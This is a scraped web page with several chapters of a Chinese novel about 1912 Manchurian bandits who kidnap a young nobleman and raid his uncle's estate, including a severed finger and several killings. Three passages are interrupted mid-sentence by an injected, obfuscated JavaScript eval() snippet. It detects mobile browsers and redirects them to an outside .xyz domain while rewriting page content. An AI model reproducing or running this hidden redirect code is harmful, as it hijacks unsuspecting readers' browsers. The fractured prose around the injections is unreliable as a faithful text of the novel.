树叶黄了,大雁也要南飞了。到了该分“红柜”(分红)的时候了。前几个月打了周围的几个绺子,手头的枪马都有损失,飞虎子(钱)也花出去不少,照理说,要是邵小飞谈得顺当,手头这个叫济兰的红票一出,大家安安心心地过个年……要是出不了…… 他的脸色阴沉下来。要是出不了,真把这细皮嫩肉的小子丢给计正青那个心黑手狠的,恐怕真给“打瓜皮”,割掉鼻子耳朵了! 万山雪的担心很快就验证了。 邵小飞今早上是喜笑颜开去的,却是垂头丧气回来的。 他对绺子里外轻车熟路,也不用人迎;一路上,几个崽子跟他打招呼,他也只是有气无力地一摆手,拖着脚又走回了万山雪的大院木屋。 一见他脸色,万山雪就知道没有好消息。邵小飞飞快地看了他一眼,又低下脑袋,没一会儿,眼眶子也红了,好像做错了什么事儿似的。 万山雪问:“咋样?” 他说话的时候,几个人正在炕上吃饺子,郝粮见他不说话,催道:“你说呀!” “罗家说……说……”邵小飞脸上露出为难的神色,一只手抓着自己的后脑勺,“说,没钱,不赎。” “当”的一声! 是不知道谁的拳头在桌上一擂!杯盘碗碟都跟着一震。这下连咀嚼声也消失了。 “大柜……都,都怪我!嗯……让那红票再描个朵子(写信)吧!我去送!我不信了……我,我是咱绺子的花舌子,不能给咱绺子丢人!” 邵小飞用袖子抹了抹眼睛,万山雪不说话。这时候,独眼枪已经丢下筷子骂开了:“操他娘的罗保林!他自己鱼肉乡里,横行霸道!上个月才娶了第八房小老婆,现在装上念水孙(穷人)了?” 万山雪岿然不动,却往口中塞了口饺子。白菜猪肉馅儿的,粮姐从来调这个馅子最顺手。所有人都在看着他,他却不紧不慢地咀嚼着饺子,然后咽下去,仿佛在这漫长的十秒钟,他终于下定了什么决心一样。 “嗒”一声,他撂下筷子,搁在碗上。 “去。”他随手用毛巾一抹嘴巴,“让正青把秧子房里管着的那俩提出来。然后,把那个红票也提来。” 其实早在晚饭之前,郝粮就先给济兰煮了几个饺子吃,由是她再去房里时,济兰还以为她要送他些水喝呢!可是等他真的到了那个简陋的“议事堂”,他才看见,顺子和采莲两个,正簌簌发抖地跪在地上,旁边站着那个今早才见过的苍白尖脸的男人。 他心中陡然升起一种不祥的预感。 万山雪就坐在上首,见他来了,说话仍是慢悠悠的。 “济兰兄弟,实不相瞒,你家回信了。” 济兰浑身一颤,听到万山雪继续道:“回的口信,就四个字:没钱,不赎。” 饶是济兰想过许多种可能,也万万没有想到这个结果。 “我寻思着,也是我们不懂礼数,就让花舌子去了,啥见面礼也没带。怪不得你伯伯不肯照顾。” 济兰站在原地,如坠冰窟一般;一条大腿猛地给采莲抱住,吓得他差点跳了起来。 万山雪冷冷看了一眼下头瑟瑟发抖的采莲和顺子,道:“济兰兄弟你呢,是咱们绺子的贵客,不能让你受苦遭罪。可是他们两个,在这里白吃白住,也得交点什么吧?” “少爷,少爷救我……”采莲脸上全是泪,一半都擦在济兰的裤子上了。万山雪不咸不淡地扫了她一眼,目光略过他们二人,落到了旁边委顿在地的顺子身上。 计正青哪还不懂这一眼的意思?立时抓住顺子的后脖领子,要把他拖下去,顺子嘶声惨叫,瘦骨伶仃的胳膊腿在空中胡乱地挥舞。济兰的脸上还是没有表情,要不他的脸上还残留有一点红肿,此刻简直算得上毫无人色。但即便如此,他也没有动弹一下,哪怕采莲抱着他的大腿哀求,又爬到炕前去求,他依旧纹丝不动。 说到底,顺子到底同他有什么关系?不过是一个无名小卒,要不是他赶车还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516186|186227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算麻利,到关外来无论如何也不会带着他。 万山雪也凝视着济兰,似乎对这个肉票的冷酷和镇定感到一丝新奇。 不多时,计正青回来了,将手一抬,掌心里一片破布上,静静地躺着一根食指。 万山雪只看了一眼,又拾起了筷子;两根筷子尖儿在桌上一磕,对齐了,夹起一只饺子,满蘸了陈醋,放进嘴里,吃掉了,慢慢说道:“再送。” 邵小飞立刻“嗳”地答应了一声,接过透出血色的破布包,又奔出门,往山下去了。 济兰感到一阵奇异的解脱。 这场景真是奇怪。胡子也是人,他也是人。可是,一根血淋淋的手指头,却让事态再一次暂且平静下来。郝粮嗔怪地看了万山雪一眼,又向门外张望:“你也真是的,咋也不让小飞吃一口再走。” 万山雪冷冷道:“他不是想挂柱、入绺吗?饿一顿又怎么了?要是真能把他饿跑了,还都省心呢!” 说罢,转过来望着吓傻了的采莲和脸色苍白的济兰。 “济兰兄弟,我不瞒你。我这山头上,就等着你的救命钱接济呢。这回要是还不行,我可说不好……秧子房里,是不是再多一个没眼睛没鼻子的人。” 济兰仿佛两只脚分别踏在两个世界:一个世界里,这群野蛮人居然和乐融融地吃着饺子,争论着小孩子的教育问题;另一个世界里,他的性命却危在旦夕,有倒悬之急! 阿林保不赎他,其实也在他预料之中。 他又不是阿林保的头生儿子,又是从北京来投奔,多他一张嘴要伺候……阿林保一毛不拔,实在不稀奇!他怎么今日才想到这个关窍? 他身上一阵阵地发冷,浑浑噩噩跟着郝粮回到他的小屋,身后还跟着一个吓破了胆痴痴傻傻的采莲。这一夜,他自己都不知道如何熬过去的。或许像采莲一样,吓傻了,还好受一点。 第二日,他又一次被叫了过去。 这一次,大家的脸色比之前更糟,郝粮站在角落,满面担忧地望着他。邵小飞低着头,见到他来,瞪视着他,咬牙切齿地。不用问,济兰就已经知道了答案。 绺子是如何处置已经没用的肉票的?他宁可他们杀了他。 他突然想起远在北京的阿玛。阿玛本是送他来关东避难的,没想到,却在路上遭了更大的难!他上一次来关东,还是他很小的时候。那时候,他还是一个闲不住的孩子,只有半人高。但阿林保待他很亲切,由是他才没有想到,这赤裸裸的现实给人的冲击是有那么大! 一夜过去,济兰的脸已经完全消肿了。他突然一笑,那笑容既不疯癫,也不谄媚,仿佛是什么福至心灵,又像是灵光一闪——他怎么才想到呢?于是他笑了,为自己方才的愚蠢而笑的。 济兰终于想明白了,他甚至想想要放声大笑,强自按捺住了,摇头道:“大柜,我不瞒你。我伯伯不送钱来,我比谁都着急!可是,我听说关东有句话怎么说了?……‘活人总不能让尿憋死’!” 万山雪的眉头皱了起来。 济兰道:“我有个主意,既能让大柜得了救济钱,又能保得住我的小命。大柜为什么不听我说说呢?” 5. 第五章 砸窑(上) 罗家在柳条边是数一数二的大户,上个月,年届六十的罗保林刚刚把第八门小妾抬进了门,流水席做了三天三夜,热闹得十里八乡都知道了他罗保林老当益壮,宝刀未老。 他本名是萨古达阿林保,只不过现在是民国元年了,满清贵族全成了“鞑子”,这名字实在是不得不改。他虽然不提,但柳条边的老百姓们心里也都明白。他改了名,照样在柳条边做他的大户土皇帝,日子还是一样的过。 罗保林自己对自己刚娶进门的小媳妇很满意,肉肉的一双小手,大烟炮烧得极好,饭后他在炕上一栽歪,一只手搂着小媳妇胖乎乎软绵绵的腰,一只手托着他的宝贝大烟杆,真是神仙也不换的好日子。 这一天的午后,罗保林还是如同这一个月以来的这样,搂着他的新媳妇,靠在炕上抽大烟,但是他的麻烦很快就来了。 先是惊慌失措的管家,跑进门来对正吸着大烟的他说,他那个从北京来的小侄子,从绺子窝里逃回来了! 罗保林当然不信! 邵小飞那小瘪犊子来找他的时候,他记得清清楚楚,绑走了济兰的绺子大柜可是那个“万山雪”!万山雪是什么人?传说中身高八尺、青面獠牙,吃人不吐骨头的人!或者说,一个人,要是做胡子做久了,那他就不再是人了。 罗保林嘴里叼着玳瑁烟嘴,眼白浑浊的两只眼眯缝了起来,问道,真的假的?从山上逃出来了? 千真万确! 管家赌咒发誓,说那个叫济兰的北京少爷,正满身是血,在他们罗家大门口等着呢! 罗保林昏昏沉沉的脑子用了一些时间,才全部接收管家的话。他浑浊的老眼突然瞪圆了,盘着的两条腿立刻就分开了,脚丫子在地上找寻他的鞋;他新娶的小媳妇仍旧柔情蜜意,接过了他匆匆塞来的大烟筒,又拿了一件小褂给他穿上,说老爷,秋天了,外头风凉。 小老婆的柔情蜜意让罗保林稍稍定了定心。 他的辫子还没有剪掉,花白稀少而又很短地扎在脑后,像老兔子秃了的尾巴。此刻这根尾巴在他脑袋后头,随着他的步伐一翘又一翘、一颤又一颤。 事情和他预想的一样糟。他的大院门口已经聚集了很多看热闹的街坊四邻,都窃窃私语、指指点点。人群正中,一个满身是血的青年委顿在地,还有一个肤色黧黑的男人,扑在他身边哭号。 议论声越来越大了。罗保林急急地拨开人群,听见了几个人咂嘴的声音,他立刻满面关怀,支使管家快去搀扶,口中还嚷着:“这是……这是我大侄儿吗?侄儿啊……你,你怎么造成这个样儿啊!” 他从沟壑深深的眼尾挤出几滴不存在的眼泪,等到青年被管家搀扶着站起来,很快又痛呼一声跌倒下去,他不得不活动他的老骨头,一个箭步上前亲自扶住。在痛哭几声,又痛骂了几句“杀千刀的胡子”之后,他们几人扶着那死里逃生的青年,被众人目送着回到了罗家大院。 一进来院子,罗保林立刻感到老腰酸痛,浑身无力,于是也没办法再支撑着他这个断了腿的大侄儿。幸好这位大侄儿身边还站着一个强壮的忠仆,他立刻撒了手,眼睛在那人身上上下一瞟,问道:“你谁啊?” 那人肤色黧黑,不像是内院走动的,倒像是个码头力工,闻言憨厚地一笑,回道:“回老爷,我叫永寿,是跟济兰少爷从北京来的。” “啊,行。”罗保林平淡地点了点头,将浑浊的老眼又一次投在他这几乎十年未见的大侄儿身上:他有心怀疑这是个来占他便宜的无名小卒,可是,只要他看见了这张虽然沾染了血污,却依旧貌美惊人的脸,就知道这一定是那个北京的济兰,这是万万抵赖不得的。 唉,要不是济兰,那反而好办多了。 罗保林咂了咂嘴,有心问问济兰,到底是怎么从那个传闻中凶神恶煞的“万山雪”手中逃出来的,刚要张嘴,只听济兰含泪叫了一声“伯伯”,突然两眼一翻,昏死过去!他“欸呀欸呀”了两声,看也不愿意多看一眼,连连摆手道:“快,快送去厢房歇着吧。” 永寿“嗳”地应了一声,背起断了腿的济兰,便跟着管家走了。 “喏,你们就先住这儿吧。” 管家撂下一句话,就逃也似的离开了。 这房间位于西北角,又阴又潮,让人很难想象是怎么在罗家大院里找出这么一个犄角旮旯造出来的,只怕比在关东山万山雪绺子里,郝粮给济兰找的那个房间还更差上十倍。 管家一走,济兰便从永寿的背上滑了下来。 他不用人搀扶,单腿跳着坐到床边——这床上满是尘灰,只好坐个边缘。许永寿则在屋内背手走了一圈。一圈几乎十步就能走完。 虽然济兰的昏迷是假的,可是他的腿伤是真的,所以额头的冷汗也是真的。许永寿走完一圈,转过身来,不顾济兰嫌恶的神色,帮他把那条伤腿挪到了床上。 “你最好去找两个夹板来。”济兰脸色苍白,闭了闭眼,似乎心里正在劝说自己不去看床上的灰,“阿林保是绝对不会给我请大夫的。” 许永寿又在屋内扫视一圈,只看见墙角一个破桌子,算是可堪一用,三下五除二,拆下两个桌子腿来,又撕下来一条床帐,把桌子腿固定在了济兰腿上。 说实话,这条伤腿实在怪不到许永寿和万山雪的头上。 昨日里,当着万山雪和满屋四梁八柱的面,济兰突然说:“给我一块石头。很大的石头。” 他就用那块“很大的石头”砸断了自己的一条腿。 许永寿叹了口气。这当然是一个很好的保证,不管是对阿林保,还是对他们。 对阿林保,这是济兰从山上“死里逃生”的凭证。不管阿林保再怎么狐疑,也不至于立刻就反应过来。对绺子来说,这是济兰和他们“在同一条船上”的保证,他断了腿,跑不快,就算临时反悔,以许永寿的拔枪速度,可以立刻就“点”了他。 此刻,济兰仍然保持着清醒。 “你什么时候去‘踩盘子’(踩点)?” 许永寿惊奇又好笑地看了他一眼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516187|186227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “晚上。你也是学上盘行话了?” “一般,也就是‘春点半开’(略通一二)吧。”济兰淡淡道。经过这三日的“相处”,他渐渐明白了一些万山雪他们的“话”。 现在,他们只需要等到晚上。 许永寿是绺子的“水香”。水香的意思就是负责排兵放哨的人。所以许永寿跟他一起来,一是为了监视他,二则是为了“踩盘子”。如果计划不变,今晚许永寿踩过了盘子就得收买一个“内盘”(内线),将画好的布防图递出去,明天晚上,万山雪他们就会下山,下来“砸窑”! “什么是‘砸窑’?”济兰突然问。 “就是……”许永寿挠了挠后脑勺,突然发觉,黑话的一大好处就是,可以把不那么光彩的事儿神神秘秘地说个明白,“就是打家劫舍,劫富济贫。你进来的时候,看见罗家大院门口的两个炮楼和门上的红旗了吗?” 济兰点了点头。 许永寿哼笑了一声:“你这个阿林保伯伯,可是够肥的……一般的‘窑’,少有挂红旗的。挂红旗的意思就是‘我有兵有炮’。不过,有的挂红旗,是为了壮胆,吓唬俺们。像阿林保的红旗,倒是有点由头。打咱们一进来,我就看见墙根站着一溜跳子(兵),还养了十几条皮子(狗)……炮楼上两挺土炮……是个‘硬窑’!” 济兰垂着眼睛,慢慢道:“这么说,我伯伯这个‘窑’,还不太好砸咯?” 许永寿说:“想跑?想也不要想!你小子是个‘接灵子’(对别人的话领会很快),我不想插(杀)你……等这事儿成了,说不准,你可以跟大柜说说,挂个柱呢!” 挂柱……如果他没记错的话,就是入绺?济兰的呼吸稍稍乱了一下。 不错,他对阿林保没有什么感情,正如阿林保对他一样。 一切都十分顺利,顺利得几乎有些超出济兰的预料。 第二日白天,有个卖布的挑着担子进来了,许永寿一夜画下来的布防图顺顺当当地传给了他;卖布的交了布,又挑着担子走了。当晚,寂寥了三日的关东山再次喧嚣起来,绺子几乎是倾巢出动,黑夜之中,一匹白马一马当先。 奇怪!明明是夜里,万山雪却依旧骑着一匹白马,戴着他的白礼帽——或许这只是他身为胡子给自己规定的礼仪。紧随其后的是一匹棕马,上头坐着他的炮头“独眼枪”史田。 罗保林只想让自己北京来的大侄儿在小屋里自生自灭,没有工夫细细琢磨他这位断了腿的大侄儿到底是如何从万山雪手下“逃出生天”的,也就没有发现,炮楼上守着的跳子,已经在月亮升到天空正中的时候,被人从身后割断了喉咙;而那十几条会叫的、忠诚的“皮子”,也已经被有毒的狗食一锅药死。 夜,降临了。 半山腰上,万山雪勒住马缰。远远望去,那安详的罗家大院就像一头沉睡的、待宰的肥猪。 他终于露出一个真心实意的狡猾微笑,在战前伸了一个大大的懒腰。 “崽子们,砸窑!” 6. 第六章 砸窑(下) 罗保林抽足了大烟,太阳也西沉了。 等他搂着自己的小媳妇入睡的时候,他突然想起了自己那个满身是血的漂亮大侄儿。 想到济兰,他说不上哪里不对劲,但他就是觉得不对劲。这种不对劲的感觉一直持续到他迷迷糊糊地睡着了;可他睡得也不踏实,梦中也在翻来覆去。 睡着睡着,他猛然惊醒。 小媳妇的手还搭在他的腰上,暖和和的大炕上,他抓起来那只肉乎乎的手腕,借着窗户纸外的一点月色,仔仔细细、认认真真地数小媳妇的手指头。 一、二、三、四、五。 是啊,五根手指头。每个人都有五根手指头。 就连古怪的济兰大侄儿和他码头力工一样的随从,两人总共四只手,全都有五根手指。 他一下子从半梦半醒中清醒过来了!对啊,昨天,他亲眼看见,济兰不过是断了一条腿,其他地方都好端端的,十根手指头,一根缺损也没有;再看看那个叫永寿的跟班,不也是十根手指俱在? 那么,邵小飞第二次来找他要赎金的时候,送来的那根手指头,又是谁的? 一时间,罗保林出了一身的白毛汗。 他突然从炕上跳了起来,又开始满地找鞋。还没等找到,在他身后的窗外,霎时亮起一闪红光,照亮了整个堂屋! 完啦!完啦!家贼! 他大喊大叫地冲出门去,小媳妇被他惊醒,手脚麻利地穿起衣服来。但罗保林已经顾不上她。合着罗保林的喊叫声,罗家的护院都起了身,个个儿都不明白为什么自己今夜睡得那么沉,院里养的狗一条也没有叫,但是轰隆隆的马蹄声已经向他们逼来——要不是这是一个晴朗的夜晚,还以为是打雷呢! 胡子下山了——! 远远地,第一个跑出房门的护院叫了起来——只是他刚刚喊出第一声,一颗子弹便正正好好地嵌入了他的喉咙,他只来得及呜咽一声,便一头栽倒在地上,再也喊不出来了。 大门的门闩早就被许永寿在夜半时分打开了,万山雪的崽子们开门甚至都无须费什么力气。“砰砰砰”又是三枪连发!弹无虚发,每一颗都撂倒了一个扛枪的护院;独眼枪哈哈一笑,也抬枪便射,又撂倒两个! “罗保林!爷爷来砸你的红窑了!” 罗保林冲出房门之时,正看到这副景象:护院横七竖八地倒在地上,血流成河;他吓得赶紧又往屋里跑,大院的灯都亮了,举着火把的胡子将它团团围住,炮楼也已经被胡子占了;罗保林窑里的枪今晚上全都用上了,几个护院把住东厢房的小院,一时间,土枪、手枪声交响成一片,此起彼伏,同过年放鞭炮一样热闹! 胡子的笑声,院里女人的哭声,一同在罗保林脑中交战,他想起他的大烟杆,他的小媳妇,呜呼哀哉,一夜之间,多年积蓄毁于一旦! 许永寿很快也加入战局,他是水香,照理说,踩盘子之后的卡子(哨兵)都需他来安排,这次一人兼两职,着忙起来简直不可开交;济兰仍在西北角的小房间等着。 走之前,许永寿犹豫再三,终于从自己的靴桶里摸出来一把枪,交到济兰手里。 “拿着……这是你的花口撸子。” 看许永寿的表情,似乎他也拿不准,会不会他一走出门,背后就会迎来一次黑枪,不过他还是选择了相信济兰,或者说,相信了济兰这条断腿。 “你去吧。我等大掌柜的砸响了窑。”济兰平静道。他的伤腿仍然在疼,在疼痛中,想要保持一以贯之的清醒,令他非常疲惫,连同他的太阳穴都跟着一跳一跳地疼,只是精神还维持着亢奋。 济兰在西北角的小房间里静静地坐着,手中握着他的那把花口撸子。 沉甸甸的,里面装满了子弹。 原来,万山雪没有想要把他丢在这里“自生自灭”么? 他心中陡然升起一种新奇感。 在他和许永寿下山之前,万山雪什么都没有对他说,似乎他只是一个无关紧要的饵,唯一的用处就是钓出阿林保这条大鱼。因此,在许永寿趁夜踩盘子的时候,他也没有闲着,他在屋内试验过,这条上了夹板的伤腿,到底能不能够支撑他趁乱逃走。答案是很难,但是仍有两成希望。 但现在,他拿回了他的花口撸子,那么,这希望就变成了五成。 如果他还是昨天的济兰,他或许会趁着现在,毫不犹豫地逃走。 可是今天的济兰却犹豫了。 就算逃出去,又能怎么样呢?先不说他身上的钱先是在路上花掉了一半,剩下的一半早就被绺子打包抢走,根本没有钱来请大夫治这条伤腿……就说他逃出去之后,还能投奔谁,做什么来养活自己?沿街要饭都嫌这条腿拖累…… 在枪声停止之前,济兰必须思考出一个答案。 可是那个答案本来就已经呼之欲出。 他只身来到关东,阿林保不肯赎他。他满身是血,这位伯伯却连看一眼都欠奉。他卖了阿林保,万山雪带人砸响了窑。 他又看了看手里的枪。 人一旦到了一种绝望的境地,别说土匪窝了,耗子窝也是可以接受的。何况,粮姐给他准备的小房间是那么温暖、干净,虽然小而破旧,但是总算是一个容身之处!济兰的呼吸急促起来,他在心底里早已经做好了选择,他知道。不然他为什么一直傻傻地坐在这里,等着枪声小下去呢? 万山雪的马,是百里挑一的好马。 比如说,这匹马从来不怕枪声炮声,跑得快,长得好,全身上下一块斑点都没有,纯白得十分醒目。 也因此,他可以高坐在马上,兴致勃勃地巡视这片了不起的红窑,他砸下来的窑!他的白礼帽纤尘不染,还是漂漂亮亮地戴在他英俊的脑袋上。他突然想起了什么,问道:“罗保林呢?” “搂着他的果儿(女人)在哪儿避风(躲)呢吧。”史田笑骂一声,独眼往下首一扫,数了一数,七个瑟瑟发抖的女人给押在一块儿,哭作一团,少了那个罗保林新娶的小媳妇。 许永寿从墙上翻了下来,他刚一枪撂倒最后一个护院,枪管子还烫手,说:“搜,得搜干净。真让他邮了(逃了),报了威武窑子(衙门),咱们就真得进书房(坐牢)了!” 外面的枪声停了,济兰也醒了过来。 他不知道什么时候睡了过去,手中的花口撸子差点掉在地上,被他一把捞住,这才免于走火。 然后,他就听见了沙沙的脚步声。 昏暗的小屋中,月色在门口投下一道漆黑的影子,济兰猛然惊醒,食指再一次放在了花口撸子的扳机上。那人影靠得近了,原来,那沙沙的声音,是他的土枪拖在地面上的声音——罗保林背着光,狰狞的脸目上黑漆漆的看不真切;济兰握枪的手猛然背到身后去了。 “伯伯……您怎么……” 雪白的脸上是一片孤苦无依的惶然,他缩在满是尘灰的床脚瑟瑟发抖。罗保林拖着步子,逼得更近了。 “你他妈的还跟老子装!装!你根本不是从山上逃下来的……小瘪犊子,你他妈的吃里爬外,和胡子一起来打老子的主意……” 罗保林老眼暴突,骨瘦如柴的鸡爪般的手抓紧了土枪,突然抬了起来!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516188|186227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “砰砰”两声! 带着一圈花纹的枪口微微颤抖,冒出一丝小小的白烟。 罗保林口中流出一丝血线,瘦干干的身子晃了两下,他身子背后,露出巴拿马礼帽白色的帽檐来;罗保林张了张嘴,还没来得及回头,也没来得及唾骂,便脸朝下扑倒在地—— 血从他的眼眶、后心一起流淌出来,沾污了满是尘灰的地面。 万山雪纤尘不染地从门口走了进来,收好枪,抬脚跨过老人温热的尸体,看了看济兰颤抖的枪口,又看了看地上的血,吹了个口哨。 “这一枪,打得比几天前准多了。” 他的话说得轻巧,济兰的呼吸却需要一段时间才能平静。花口撸子的后坐力震得他虎口生疼,他满脸空白,似乎还对自己的准头不可置信。 他们两个到底是谁先开的枪?他到底打中了哪里? 没有等他开口,万山雪已经用脚尖踢了踢罗保林,毫无动静,只听他笑道:“你打不准史田的独眼,倒打得中你伯伯的。” 济兰不知道这是夸奖还是贬损,仍在震惊中回不过神。 万山雪却并不着急听他说话,在他怔愣之间,已经伸手过来一把揽住了他的腰,将他往肩上一抗!在济兰的惊叫声中,他就如同扛着一个麻布袋子一般扛着他走了出去。罗家大院灯火通明,济兰倒挂在万山雪肩头,雪白的脸不知道是因为缺氧还是因为羞恼而涨得通红,因为他很快就听见一阵口哨声和大笑声响了满堂。 万山雪还嫌不够似的,就这么扛着他在院中走了一圈,引来了更多的口哨声,完全盖过了女人们的啜泣声——然后万山雪说话了,他的肩头硌得济兰肋骨疼。 “看见没有?”他一说话,胡子们就笑,“这就是咱们今天砸响窑的大功臣!” 掌声起哄声一浪高过一浪,济兰已经开始在万山雪的肩头拼命挣扎起来;他一挣扎,大家就笑得更厉害了。或许是怕他摔着——真的吗?万山雪终于把他放了下来,坐到罗保林常坐的那把紫檀木太师椅上。 “行了。”万山雪收笑,脸上又是懒洋洋的,一扬马鞭,指挥那些住了哭声的女人们,“来河子(弟兄们)都饿了,你们随手答兑答兑。” 说罢,又转向这群挂着彩喘着气的崽子们。 “啃富(吃饭)!啃点什么!” 于是声音此起彼伏地又响了起来。 “挑龙(面条)!”“漂洋子(饺子)!”“一把菜(咸牛肉)!”“下点滚子(鸡蛋)干枝子(粉条)!”“还得来点火山子(酒)!” “听清楚没有?”他们叫一声,万山雪掰一根手指头查数,“六样呢。麻烦各位嫂子。去吧。” 他一发话,没有敢不从的。随手把马缰丢给了罗保林的小儿子,让他去拉连子(喂马),轮值的崽子们上房放哨,留下来一批先吃饭。 安排好这些,他又蹲了下来,眼睛和满面冷汗的济兰平齐,就这么看了一会儿,他说道:“刚才,我在你伯的房里发现了个好东西。” 他不知道从哪里掏出来一个小本本,甩了甩,纸片劈里啪啦作响。 济兰定睛一看,只见封面上写着“家谱”两个字。 没想到万山雪也认字的,只见他随手翻开第一页,上面正是“萨古达”的满蒙汉文,各占一行。 “没想到,你还有点儿来历呢?”万山雪满眼放光,似乎对他请来的这位“财神”突然之间充满了好奇,他的马鞭粗粝而干燥,在济兰雪白细腻的脸上微微用力拍了拍,“你家在北京什么来头啊?欸呀,保不齐,我是劫了个‘格格’呢!” 7. 第七章 庆功 一个月前罗保林娶小媳妇用来摆流水席的几张大桌子,又一次被从库房里搬了出来。 只不过,这次的“流水席”吃得不是喜事,而马上就要有罗保林的丧事。 几个女人做好了饭,哆哆嗦嗦地端上来,期间状况不断,还打了一个盘子。但出人意料的是,这帮胡子虽然粗野,倒也没有对她们动过手,只顾着吃饭喝酒,调笑罗保林死前的怂样。她们便又缩到一块儿,瞪着惊恐而打量的眼睛。 济兰就坐在万山雪左边——这是“大功臣”的位置,济兰的左脸仍微微发红,他没办法推辞,何况他还有一条上着夹板的伤腿呢! 他的腿几乎都疼得麻木了,脑子里不断闪回过刚刚他自己的那一枪。现在他冷静下来,就想起自己的一枪确实是打中了的;也想起罗保林的左眼眶变作了一个血窟窿! 他胃中翻涌,对着满桌的饭食,突然失却了胃口。 万山雪吃得也很慢。 不过他的胃口好得很,只是他自己吃饭十分慢条斯理而已。济兰看他吃着吃着,突然咬了一口饺子,眯着眼去看里头的馅儿,然后摇了摇头,似乎是不合心意。济兰突然想起,粮姐的饺子确实很好吃,或许这做饭的七个女人,加起来也比不上她。 ……七个女人? 济兰一怔。往那女人堆儿看过去,怎么数都只有七个。那……阿林保新娶的那一房呢? 他猛然抓住万山雪的胳膊,问道:“所有女人全在这儿了吗?” 此话一出,饭桌上一静,尔后就是一阵哄笑。 “马拉子(小崽子)毛长齐了吗?就开始想果儿(女人)了!”有人拍桌大笑起来,济兰甚至顾不上脸红,又急道:“阿林保新娶的那一房小老婆不在这儿!” 万山雪的表情严肃了起来,厉声道:“没听见?都去给我找!” 他话音一落,众人立刻应是,都丢下筷子四下去找。这院子虽然大、房间虽然多,可还是很快就给他们找到了。 还是史田,他总是最快响应万山雪的那一个。他身强体壮,肩宽臂长,两只手各拎着一个人的后脖领子,就这么把两个人从一处厢房里拖了出来,随手往地上一掼! “诶哟!”他右手提着的那个男的,长得膘肥体壮,满面横肉,济兰定睛一看,不正是前日扇他好几个大嘴巴的崽子么?再看看那穿着小花袄的女人,此刻她身上的小花袄也破了,眼角也青了,脸上淌着泪。要不是史田捞了一把,恐怕她就要一头撞死在这里。小媳妇肉乎乎的身子一个劲儿的打颤,一抬头,见着了万山雪正凝视着她,“哇”一声嚎啕大哭起来,几步爬过来抓住他的裤子不放。 “老总!老总……你杀了我吧老总,你给我个痛快吧!” 万山雪的脸色从没有这么难看过。 抢粮、绑票,他游刃有余;邵小飞没能带来赎金,他也没有黑一次脸。这时候,他满脸都写着风雨欲来。 “炮头!”他突然叫道,把济兰也给吓了一跳,“‘压花窑’,绺规怎么处置!” 史田脸上现出难色。 但他还是说:“按绺规,当场点了!” 整个场面鸦雀无声。 史田话锋一转,为难道:“大柜,他……他也是初犯。你看在他初犯,咱们大伙儿又砸了个响窑,是个喜日子的份儿上……” 人群中依稀响起一点声量微弱的求情声。 那满脸横肉的崽子也喊叫起来,声声都是“大柜饶命、再也不敢了”,一面喊,一面伏在地上磕头,磕得梆梆作响,额头很快一片血红。 济兰冷眼看着他求饶,又偷眼去看万山雪的脸色。果不其然,万山雪的脸色更差了。 可是,他居然笑了。那笑容显得很可怕。 “好啊,好啊。一个个都和绺规大小声了。”这时候他说话很轻,可是场面立刻安静下来,于是他说的每一个字都十分清楚,“怎么!都不说话了?不是都山串(喝多)了吗!” 没人喝醉。喝醉的也全都醒酒了。 这情况下,一个求情的也没有了。这时,突然听济兰叫道:“他要跑!” 电光火石之间,两杆枪同时抽了出来,却只有一声枪响! 济兰怔住了。 在枪法上,他果然远远逊色。 他甚至没看清万山雪掏枪的动作,没听见他撸枪壳子的声响,只有枪声,和一具倒地的尸体。 女人们尖叫起来,一边尖叫一边拼命将罗保林的几个孩子护在身后。但是枪不会再响第二声,一个死人不需要再开第二枪。济兰看也没有看清楚,夜色之中,万山雪的手枪在食指上一转,就已经重新消失在他的外套里面,正如它出现时一样突然。 万山雪看了他一眼。 “真对不住,嫂子。”他又转向那个瞪圆了眼傻住了的花袄子小媳妇,语气平静,十分公事公办地道,“你受苦了,点了他,给你解解气。” 不知道她是给吓住了,还是因为惊讶,一个字也说不出来。万山雪转回头来,冷冷一瞥不说话的众人,道:“不是啃富(吃饭)吗,啃啊!啃完了就撤,净给人家添麻烦。” 众人都眼观鼻、鼻观心地坐下来继续吃。 这一回桌上欢乐的气氛已经不再。可是济兰的胃口却稍稍好了一些,他甚至终于有心情品评了一番阿林保家的饺子——确实不如郝粮包的,郝粮的手艺真是独一无二。 酒足饭饱之后,就该回程了。 他们已经把罗家大院搜刮利索,甚至还从库房里拿出来一袋大烟土。对此,万山雪嫌恶地皱了皱鼻子:“黑货?遭瘟的东西,扔下吧。” 除此之外,就只剩下一个问题。 济兰。 